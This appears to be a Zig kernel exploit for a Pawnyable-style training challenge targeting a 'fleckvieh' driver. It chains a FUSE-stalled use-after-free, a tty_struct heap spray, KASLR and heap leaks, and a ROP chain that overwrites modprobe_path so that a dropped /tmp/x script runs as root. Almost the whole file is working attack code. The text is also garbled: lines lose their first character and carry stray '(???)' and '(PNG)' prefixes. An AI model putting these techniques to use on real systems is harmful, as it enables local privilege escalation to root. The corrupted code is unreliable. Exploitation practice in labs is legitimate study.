(???) onst std = @import("std");
(PNG) ub const std_options = std.Options{
(???) .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
(???) .logFn = pawnyableLogger,
(???) ;
(PNG) ub fn pawnyableLogger(
(???) comptime level: std.log.Level,
(???) comptime _: @Type(.enum_literal),
(???) comptime format: []const u8,
(???) args: anytype,
(???) void {
(???) const prefix = "[" ++ comptime blk: {
(???) const level_text = level.asText();
(???) var buf: [level_text.len]u8 = undefined;
(???) break :blk std.ascii.upperString(&buf, level_text);
(???) } ++ "] ";
(???) std.debug.lockStdErr();
(???) defer std.debug.unlockStdErr();
(???) const stderr = std.io.getStdErr().writer();
(???) nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
(???)
(???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
(???) var bufLE: [len]u8 = undefined;
(???) inline for (0..len) |i| bufLE[i] = buf[len-1-i];
(???) return bufLE;
(???)
(???) ar __spinlock: bool = false;
nline fn spin() void {
(???) while (true) if (__spinlock) break;
(???)
(???) xport var user_cs: u64 = 0;
(???) xport var user_ss: u64 = 0;
(???) xport var user_rsp: u64 = 0;
(???) xport var user_rflags: u64 = 0;
(???) n saveState() callconv(.C) void {
(???) asm volatile (
(???) \\.intel_syntax noprefix
(???) \\mov user_cs, cs
(???) \\mov user_ss, ss
(???) \\.att_syntax
(???) );
(???)
(???) n whoami() void {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n modprobePath() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) const unknown = std.fs.cwd().createFile(
(???) "/tmp/unknown", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
(???) unknown.close();
(???) std.posix.exit(0);
(???)
(???) n corePattern() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) switch (std.posix.fork() catch unreachable) {
(???) 0 => std.posix.abort(),
(???) else => |pid| _ = std.posix.waitpid(pid, 0),
(???) }
(???) const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
(???) std.log.err("Failed to open /tmp/whoisit", .{});
(???) std.posix.abort();
(???) };
(???) defer flag.close();
(???) std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
(???) std.posix.exit(0);
(???)
(???) n catchSigsegv(comptime handler: *const fn () void) void {
(???) const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
(???) const sigact = std.posix.Sigaction{
(???) .handler = .{ .handler = &wrapper },
(???) .mask = std.posix.empty_sigset,
(???) .flags = 0,
(???) };
(???) std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
(???)
(???) onst pinThreadToCore = (struct {
(???) const pthread = @cImport({
(???) @cDefine("_GNU_SOURCE", {});
(???) @cInclude("pthread.h");
(???) });
(???) fn pinThreadToCore(thread: std.Thread.Handle, core: usize) !void {
(???) var cpu = std.bit_set.ArrayBitSet(usize, std.os.linux.CPU_SETSIZE*@sizeOf(usize)).initEmpty();
(???) cpu.set(core);
(???) const err = pthread.pthread_setaffinity_np(@ptrCast(thread), @sizeOf(std.posix.cpu_set_t), @ptrCast(&@as(std.posix.cpu_set_t, @bitCast(cpu.masks))));
(???) switch (@as(std.posix.E, @enumFromInt(err))) {
(???) .SUCCESS => return,
(???) .FAULT => unreachable,
(???) .INVAL => return error.InvalidArgument,
(???) .SRCH => return error.ProcessNotFound,
(???) else => |e| return std.posix.unexpectedErrno(e),
(???) }
(???) }
(???) ).pinThreadToCore;
(???) / as of 5.10.7
(???) onst tty_struct = extern struct {
(???) const ld_semaphore = extern struct {
(???) const list_head = extern struct {
(???) next: usize = 0xdeadbeefdeadbeef,
(???) prev: usize = 0xcafebabecafebabe,
(???) };
(???) count: u64 = 0,
(???) wait_lock: i32 = 0,
(???) wait_readers: i32 = 0,
(???) read_wait: list_head = .{},
(???) write_wait: list_head = .{},
(???) };
(???) index: i32 = 0,
(???) ldisc_sem: ld_semaphore = .{},
(???) // don't care about the rest
(???) pub fn init(ops_table: usize) tty_struct {
(???) // ops_table must live on the heap
(???) return .{
(???) .driver = ops_table,
(???) .ops = ops_table,
(???) .ldisc_sem = .{
(???) .read_wait = .{ .next = ops_table, .prev = ops_table },
(???) .write_wait = .{ .next = ops_table, .prev = ops_table },
(???) },
(???) };
(???) }
(???) ;
(???) onst tty_operations = extern struct {
(???) close: usize = 0,
(???) shutdown: usize = 0,
(???) cleanup: usize = 0,
(???) write: usize = 0,
(???) put_char: usize = 0,
(???) flush_chars: usize = 0,
(???) write_room: usize = 0,
(???) chars_in_buffer: usize = 0,
(???) ioctl: usize,
(???) ;
(???) onst fleckvieh = struct {
(???) pub const ops = enum(u32) {
(???) ADD = 0xf1ec0001,
(???) DEL = 0xf1ec0002,
(???) GET = 0xf1ec0003,
(???) SET = 0xf1ec0004,
(???) };
(???) pub fn ioctl(fd: std.posix.fd_t, op: ops, buf: ?[]u8, id: ?i32) !i32 {
(???) if (op != .ADD and id == null) return error.InvalidArgument;
(???) const ret = std.os.linux.ioctl(fd, @intFromEnum(op), @intFromPtr(&request_t{ .id = id orelse undefined, .size = if (buf) |b| b.len else undefined, .data = if (buf) |b| @ptrCast(b) else undefined }));
(???) switch (std.posix.errno(ret)) {
(???) .SUCCESS => return @intCast(@as(i64, @bitCast(ret))),
(???) else => |e| return std.posix.unexpectedErrno(e),
(???) }
(???) }
(???) ;
(???) onst request_t = extern struct {
(???) id: i32,
(???) size: usize,
(???) data: [*]u8,
(???) ;
(???) onst blob_list = extern struct {
(???) const struct_head = extern struct {
(???) next: *struct_head,
(???) prev: *struct_head,
(???) };
(???) id: i32,
(???) size: usize,
(???) data: [*]u8,
(???) list: struct_head,
(???) ;
(???) ar PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP: u64 = 0xffffffff8109b13a;
(???) ar MOV_ADDROF_RAX_RDI: u64 = 0xffffffff8110850a;
(???) ar POP_RAX: u64 = 0xffffffff8125a664;
(???) ar POP_RDI: u64 = 0xffffffff812a7d7c;
(???) ar KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
(???) ar MODPROBE_PATH: u64 = 0xffffffff81e37ea0;
(???) n ropchain(buf: []u8) !usize {
(???) const chain = [_]u64{
(???) 0, // junk
(???) POP_RDI,
(???) std.mem.readInt(u64, "/tmp/x\x00\x00", .little),
(???) POP_RAX,
(???) MODPROBE_PATH,
(???) MOV_ADDROF_RAX_RDI,
(???) KPTI_TRAMPOLINE,
(???) 0, // junk
(???) 0, // junk
(???) @intFromPtr(&modprobePath),
(???) user_cs,
(???) user_rflags,
(???) user_rsp,
(???) user_ss,
(???) };
(???) @memcpy(buf[0..chain.len*@sizeOf(u64)], std.mem.asBytes(&chain));
(???) return std.mem.asBytes(&chain).len;
(???)
(???) n adjust_offsets(kaslr_offset: u64) void {
(???) const gadgets = &[_]*u64{
(???) &PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP,
(???) &MOV_ADDROF_RAX_RDI,
(???) &POP_RAX,
(???) &POP_RDI,
(???) &KPTI_TRAMPOLINE,
(???) &MODPROBE_PATH,
(???) };
(???) for (gadgets) |g| {
(???) g.* += kaslr_offset;
(???) }
(???)
(???) onst fuse = @import("fuse29.zig");
(???) n getattrCallback(path: [*:0]const u8, stbuf: ?*std.os.linux.Stat) callconv(.C) i32 {
(???) if (std.mem.eql(u8, path[0..4], "/aar") or std.mem.eql(u8, path[0..4], "/aaw") ) {
(???) if (stbuf) |st| {
(???) st.* = std.mem.zeroInit(std.os.linux.Stat, .{
(???) .mode = std.os.linux.S.IFREG | 0o777,
(???) .nlink = 1,
(???) .size = std.heap.page_size_min,
(???) });
(???) }
(???) return 0;
(???) }
(???) return -@as(i32, @intCast(@intFromEnum(std.posix.E.NOENT)));
(???)
(???) n openCallback(_: [*:0]const u8, _: ?*fuse.fuse_file_info) callconv(.C) i32 {
(???) return 0;
(???)
(???) ar fleck_fd: std.posix.fd_t = undefined;
(???) ar ttys: [10]std.posix.fd_t = undefined;
(???) ar victim_id: i32 = undefined;
(???) ar blob_buf: [1024]u8 = undefined;
(???) n readCallback(path: [*:0]const u8, buf: [*]u8, size: usize, _: i64, _: ?*fuse.fuse_file_info) callconv(.C) i32 {
(???) const ENOENT = -@as(i32, @intCast(@intFromEnum(std.posix.E.NOENT)));
(???) if (std.mem.eql(u8, path[0..4], "/aar")) {
(???) std.log.debug("Beginning AAR", .{});
(???) } else if (std.mem.eql(u8, path[0..4], "/aaw")) {
(???) std.log.debug("Beginning AAW", .{});
(???) for (0..100) |_| {
(???) _ = fleckvieh.ioctl(fleck_fd, .ADD, &blob_buf, null) catch |err| {
(???) std.log.err("blob_add failed with {any}", .{err});
(???) return ENOENT;
(???) };
(???) }
(???) } else {
(???) std.log.err("Unknown path {s}", .{path});
(???) return ENOENT;
(???) }
(???) _ = fleckvieh.ioctl(fleck_fd, .DEL, null, victim_id) catch |err| {
(???) std.log.err("blob_del failed with {any}", .{err});
(???) return ENOENT;
(???) };
(???) for (&ttys) |*tty| {
(???) tty.* = std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660) catch unreachable;
(???) }
(???) @memcpy(buf[0..1024], blob_buf[0..1024]);
(???) return @intCast(size);
(???)
(???) onst fops = blk: {
(???) var tmp = std.mem.zeroes(fuse.fuse_operations);
(???) tmp.getattr = getattrCallback;
(???) tmp.open = openCallback;
(???) tmp.read = readCallback;
(???) break :blk tmp;
(???) ;
(???) n fuseThread(fuse_ready: *std.Thread.ResetEvent) void {
(???) std.posix.mkdir("/tmp/pwn", 0o777) catch {
(???) std.log.err("Could not create /tmp/pwn", .{});
(???) return;
(???) };
(???) var fargs = fuse.fuse_args{};
(???) const chan = fuse.fuse_mount("/tmp/pwn", &fargs) orelse {
(???) std.log.err("fuse_mount failed", .{});
(???) return;
(???) };
(???) defer fuse.fuse_unmount("/tmp/pwn", chan);
(???) const f = fuse.fuse_new(chan, &fargs, &fops, @sizeOf(@TypeOf(fops)), null) orelse {
(???) std.log.err("fuse_new failed", .{});
(???) return;
(???) };
(???) _ = fuse.fuse_set_signal_handlers(fuse.fuse_get_session(f));
(???) fuse_ready.set();
(???) _ = fuse.fuse_loop_mt(f);
(???)
(???) n fusePage(comptime path: []const u8) ![]align(std.heap.page_size_min) u8 {
(???) const S = struct {
(???) var fd: ?std.posix.fd_t = null;
(???) };
(???) if (S.fd) |fd| std.posix.close(fd);
(???) S.fd = try std.posix.open(path, .{ .ACCMODE = .RDWR }, 0o660);
(???) return try std.posix.mmap(
(???) null,
(???) std.heap.page_size_min,
(???) std.os.linux.PROT.READ | std.os.linux.PROT.WRITE,
(???) std.posix.MAP{ .TYPE = .PRIVATE },
(???) S.fd.?,
(???) 0,
(???) );
(???)
(???) n exploit() !void {
(???) const kaslr_offset = blk: {
(???) const aar_page = try fusePage("/tmp/pwn/aar");
(???) defer std.posix.munmap(aar_page);
(???) defer for (&ttys) |tty| std.posix.close(tty);
(???) victim_id = try fleckvieh.ioctl(fleck_fd, .ADD, &blob_buf, null);
(???) _ = try fleckvieh.ioctl(fleck_fd, .GET, aar_page[0..0x20], victim_id);
(???) const ptmx_fops_addr: u64 = 0xffffffff81c3c3c0;
(???) break :blk std.mem.bytesAsValue(u64, aar_page[@offsetOf(tty_struct, "ops")..][0..@sizeOf(@FieldType(tty_struct, "ops"))]).* - ptmx_fops_addr;
(???) };
(???) adjust_offsets(kaslr_offset);
(???) std.log.info("Kernel base @ 0x{x}", .{0xffffffff81000000+kaslr_offset});
(???) const aar_page = try fusePage("/tmp/pwn/aar");
(???) defer std.posix.munmap(aar_page);
(???) const heap_leak = blk: {
(???) defer for (&ttys) |tty| std.posix.close(tty);
(???) victim_id = try fleckvieh.ioctl(fleck_fd, .ADD, &blob_buf, null);
(???) _ = try fleckvieh.ioctl(fleck_fd, .GET, aar_page[0..1024], victim_id);
(???) const offset = @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(@FieldType(tty_struct, "ldisc_sem"), "read_wait");
(???) break :blk std.mem.bytesAsValue(u64, aar_page[offset..][0..8]).* - offset;
(???) };
(???) std.log.info("Heap leak = 0x{x}", .{heap_leak});
(???) {
(???) @memcpy(blob_buf[0..1024], aar_page[0..1024]);
(???) const aaw_page = try fusePage("/tmp/pwn/aaw");
(???) defer std.posix.munmap(aaw_page);
(???) const tty = std.mem.bytesAsValue(tty_struct, &blob_buf);
(???) tty.*.magic = 0x5401;
(???) tty.*.kref = 0;
(???) tty.*.dev = 0;
(???) tty.*.driver = heap_leak;
(???) tty.*.ops = heap_leak+0x100;
(???) // ensure ropchain is far away enough from important tty_struct internals
(???) @memcpy(blob_buf[0x100..][0..@sizeOf(tty_operations)], std.mem.asBytes(&tty_operations{ .ioctl = PUSH_RDX_CMP_EAX_0x415b005c_POP_RSP_POP_RBP }));
(???) _ = try ropchain(blob_buf[0x100..][@sizeOf(tty_operations)..]);
(???) victim_id = try fleckvieh.ioctl(fleck_fd, .ADD, &blob_buf, null);
(???) _ = try fleckvieh.ioctl(fleck_fd, .SET, aaw_page[0..1024], victim_id);
(???) }
(???) for (&ttys) |tty| _ = std.os.linux.ioctl(tty, 0xdeadbeef, heap_leak+0x100+@sizeOf(tty_operations));
(???)
(PNG) ub fn main() !void {
(???) {
(???) var cpu: std.os.linux.cpu_set_t = @splat(0);
(???) cpu[0] = 1;
(???) try std.os.linux.sched_setaffinity(std.os.linux.getpid(), &cpu);
(???) }
(???) catchSigsegv(&modprobePath);
(???) saveState();
(???) var fuse_ready = std.Thread.ResetEvent{};
(???) var t = try std.Thread.spawn(.{}, fuseThread, .{&fuse_ready});
(???) try pinThreadToCore(t.getHandle(), 0);
(???) t.detach();
(???) fuse_ready.wait();
(???) fleck_fd = try std.posix.open("/dev/fleckvieh", .{ .ACCMODE = .RDWR }, 0o660);
(???) defer std.posix.close(fleck_fd);
(???) try exploit();
(???) std.log.debug("Wat", .{});
(???)
(???) onst DEBUG = "";